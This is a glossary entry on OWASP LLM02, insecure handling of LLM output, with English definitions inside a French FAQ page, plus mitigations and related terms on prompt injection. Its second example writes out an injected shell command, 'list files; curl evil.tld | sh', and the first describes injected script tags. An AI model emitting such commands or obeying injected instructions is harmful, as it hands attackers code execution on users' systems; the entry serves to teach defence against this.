Insecure Output Handling
Qu'est-ce que Insecure Output Handling ?
Insecure Output HandlingOWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
● Exemples
- 01
A markdown chatbot renders model output as HTML; an injection causes it to emit a malicious script tag that fires for every viewer.
- 02
An assistant returns a shell command that the app pipes into bash; a prompt injection turns 'list files' into 'list files; curl evil.tld | sh'.
● Questions fréquentes
Qu'est-ce que Insecure Output Handling ?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF. Cette notion relève de la catégorie Sécurité de l'IA et du ML en cybersécurité.
Que signifie Insecure Output Handling ?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Comment fonctionne Insecure Output Handling ?
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
Comment se défendre contre Insecure Output Handling ?
Les défenses contre Insecure Output Handling combinent habituellement des contrôles techniques et des pratiques opérationnelles, comme détaillé dans la définition ci-dessus.
Quels sont les autres noms de Insecure Output Handling ?
Noms alternatifs courants : LLM02, Unsanitized LLM output.
● Termes liés
- ai-security№ 870
OWASP LLM Top 10
Liste maintenue par l'OWASP recensant les dix risques de sécurité les plus critiques pour les applications bâties sur de grands modèles de langage.
- ai-security№ 969
Injection de prompt
Attaque qui détourne les instructions d'origine d'un LLM en insérant un texte adversarial dans le prompt, poussant le modèle à ignorer ses garde-fous ou exécuter les actions choisies par l'attaquant.
- ai-security№ 586
Injection de prompt indirecte
Variante de l'injection de prompt où des instructions malveillantes sont cachées dans un contenu tiers (page web, document, e-mail) que le LLM ingère ensuite via la récupération, la navigation ou un outil.
- attacks№ 265
Cross-Site Scripting (XSS)
Vulnérabilité web permettant à un attaquant d'injecter des scripts malveillants dans des pages consultées par d'autres utilisateurs, exécutés dans leur navigateur sous l'origine du site.
- attacks№ 224
Injection de commandes
Attaque où une entrée utilisateur est transmise sans assainissement à un shell système, amenant l'application à exécuter des commandes fournies par l'attaquant.
- ai-security№ 1285
Tool-Use Injection
Attacks that manipulate an LLM agent's tool-calling layer — forging tool arguments, smuggling instructions through tool outputs, or coaxing the model into calling unsanctioned tools.